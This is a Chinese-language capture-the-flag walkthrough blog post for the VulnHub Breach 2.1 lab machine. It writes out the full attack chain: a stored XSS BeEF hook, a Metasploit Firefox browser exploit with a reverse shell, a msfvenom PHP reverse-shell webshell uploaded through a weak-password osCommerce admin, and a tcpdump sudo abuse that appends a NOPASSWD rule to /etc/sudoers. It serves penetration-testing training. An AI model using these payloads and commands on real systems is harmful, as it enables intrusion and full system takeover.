靶机下载地址:https://download.vulnhub.com/breach/Breach-2_final2.1.zip
一.安装
下载后为压缩包文件解压后双击打开.ova文件
根据压缩包里附带的说明我们需要将靶机的ip配为静态IP:192.168.110.151
选择虚拟网络编辑器
选择仅主机的网卡并将子网ip改为110网段
点击设置
网卡这里选择刚刚的仅主机110段的网卡
点击高级将MAC地址改为 00:0C:29:00:0D:3B
同时将kali也改为刚刚设置的仅主机110段网卡确保与靶机处于同一网段
二.信息收集
确定kali的ip:192.168.110.128
扫描目标主机确定靶机的IP为 192.168.110.151
arp-scan -l
使用nmap扫描靶机开放的端口
nmap -p- -sV 192.168.110.151
看到有几个端口开放,似乎只有65535端口的ssh服务可以尝试一下
ssh 192.168.110.151 -p 65535
需要密码但是文本信息里似乎是泄露了用户名为 peter 密码 inthesource
尝试登录一下
ssh peter@192.168.110.115 -p 65535
没有报密码错误而是显示连接关闭
貌似是某种程序阻止登录
此时没什么办法,在试试扫个端口试试
nmap -p- -sV 192.168.110.151
惊奇的发现多了个80端口,不知道这是什么回路,晕,尝试访问一下
f12 看看有没有什么提示
似乎也没有什么有价值的东西
只能扫个目录试试
这里我们用dirsearch(kali的话需要自己安装直接输入dirsearch然后根据提示输入Y即可要注意的是因为kali设置的是仅主机模式没有网络所以可以先切换到桥接模式或者NAT模式再安装即可)
dirsearch -u http://192.168.110.151
结果出来是有 /blog 和 /images 两个文件尝试访问一下·
192.168.110.151/blog 访问没有问题,但是192.168.110.151/images 似乎是没有权限
三.getshell
尝试从192.168.110.151/blog 入手
看到个搜索框顺手试一下有没有xss漏洞
<script>alert(0)</script>
点击go成功弹窗看来存在xss,似乎是一个利用点,再看看其他的功能点
这里看到右下角有个登录和注册的跳转连接点击注册试试
这里看到注册栏顺便测一手xss
username:<script>alert(0)</script>
passowrd:123
E-Mail:123
顺便说一下因为提前了解过后面的操作加上之前测试的xss,推出这是存在存储型xss的,因为可能会影响后续的操作,这里不建议尝试,如果尝试了可以恢复快照
回过来说既然存在xss这里可以尝试利用一款工具 beef-xss
在kali上安装该工具 (再次注意因为kali设置的是仅主机模式没有网络所以可以先切换到桥接模式或者NAT模式再安装即可)
apt install beef-xss
安装完成后 输入beef-xss启动 需要自己设置密码
默认用户名为beef
成功启动后根据提示访问
http://127.0.0.1:3000/ui/authentication
登录用户名为 beef 密码为刚才设置的密码
登录成功后界面是这样
然后返回刚才的命令提示符
这里给出了xss的payload
我们修改ip为kali的ip,我这里是
<script src="http://192.168.110.128:3000/hook.js"></script>
构造好之后我们回到刚刚的注册页面
输入我们的构造的payload
username:<script src="http://192.168.110.128:3000/hook.js"></script>
password:111
E-Mail:111
注册好之后我们需要触发一下,观察下页面,通过盲点发现右侧有个member选项
点击之后找到了我们刚刚注册的用户
然后我们回到刚刚登陆的xss平台也就是http://192.168.110.128:3000/ui/panel
观察左侧面板发现靶机成功上线
可以看到该网站的火狐浏览器版本很低为15.0可以利用利用版本漏洞
这里我们用msf来漏洞利用,打开kali
msfconsole #启动msf
use exploit/multi/browser/firefox_proto_crmfrequest #选择漏洞
set payload generic/shell_reverse_tcp #设置payload
set srvhost 192.168.110.128
set uripath 123456 (beef-xss设置密码)
set lhost 192.168.110.128
run #启动运行
run 以后会给出一个url
打开xss平台
这里输入刚刚的得到的url
点右下角的 Execute
可以在msf中看到会话已经建立
并且可以执行命令
因为通过 firefox_proto_crmfrequest 得到的shell不稳定,因此我们需要shell持久化
在msf窗口中提前设置好这些选项但是不要run
use post/multi/manage/shell_to_meterpreter
set lhost 192.168.110.128
我们还需要设置options中的sessions
这个sessions的值为刚刚获取的session id
即输入 sessions 后
这个id值
为什么这样做呢因为第一次建立的会话容易掉线所以利用第一次session值来做一个持久化的会话
准备好一切后我们重新点击Execute按钮 等到会话建立后输入sessions 查看会话ID我这里是2
然后 set session 2
最后 run
注意这里的动作一定要快,因为第一次建立的会话容易掉线要赶在掉线前建立新的session会话
出现这个说明正确
如果出现这个说明没有在会话掉线前运行 再试一次吧
建立成功后输入 sessions 查看建立的会话
这里看到新的会话生成
输入sessions -i 3 转到新的会话
出现meterpreter会话说明成功
这里输入
shell
python -c 'import pty; pty.spawn("/bin/bash")'
将会话转为交互式的shell
出现这样即成功getshell
四.权限提升
milton用户提权
因为刚刚peter连接SSH时被踢出来了,所以先看看SSH的配置文件,发现在文件尾写到登入peter时会运行/usr/bin/startme
cat /etc/ssh/sshd_config
ssh连接过程会强制执行名为startme的程序,推测其与ssh无法成功连接有关
查看startme内容,其内容是启动了apache服务
说明确实与这个程序有关
看看/etc/passwd
发现有个milton 和 blumbergh 的用户
继续检查网络状态,发现有2323端口在运行
netstat -tln
使用telnet连接端口,提示一个坐标位置 29°45'46.0"N 95°22'59.0"W,基于坐标进行地图(map.google.com)查询发现为休斯顿的地址位置,使用账号 milton (/etc/passwd)登录,密码 Houston (地图中的地名)尝试登录
cd ~
telnet 127.0.0.1 2323
账号 milton,密码 Houston
登陆成功后
我们需要回答一个问题:这个订书机是谁的
输入peter尝试发现无果
查找milton账号所属文件,提示答案为mine
find /usr -user milton
cat /usr/local/bin/cd.py
再次使用telnet连接2323端口,成功实现milton用户提权
telnet 127.0.0.1 2323
blumbergh用户提权
再次查看网络信息,提示8888端口已经放开
netstat -tln
访问8888端口,显示有2个页面,访问第一个页面会进入CMS中
使用dirsearch对其进行目录扫描
dirsearch -u http://192.168.110.151:8888/oscommerce/
找到一个admin 访问试试
发现一个登陆框输入弱口令admin admin 竟然直接进去了
寻找可利用的点发现再Tools中有一个File Manager
在include/work路径下上传木马,木马为使用MSF生成反弹shell木马,并上传到服务器中
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.128 LPORT=9999 -f raw -o shell.php
kali开启一个服务,将生成的shell.php下载到本地再上传到服务器中或者直接复制到本地
python3 -m http.server
然后启动msf并开启监听
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.110.128
set lport 9999
run
访问木马路径文件,反弹成功
192.168.110.151:8888/oscommerce/includes/work/shell.php
获取交互式shell,发现此时用户为blumbergh,依旧是低权限
shell
python -c "import pty;pty.spawn('/bin/bash')"
sudo -l #查看可运行的sudo命令
切换到 tmp 目录,构造1.sh 脚本文件以实现提权,然后执行GTOFbins中给出的 sudo 命令,实现脚本利用
cd /tmp
echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/test && chmod +x /tmp/test
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/test -Z root
sudo su
提权成功
标签:xss,shell,110.151,kali,192.168,set,VulnHub,Breach,2.1 From: https://blog.csdn.net/2401_83378606/article/details/142438570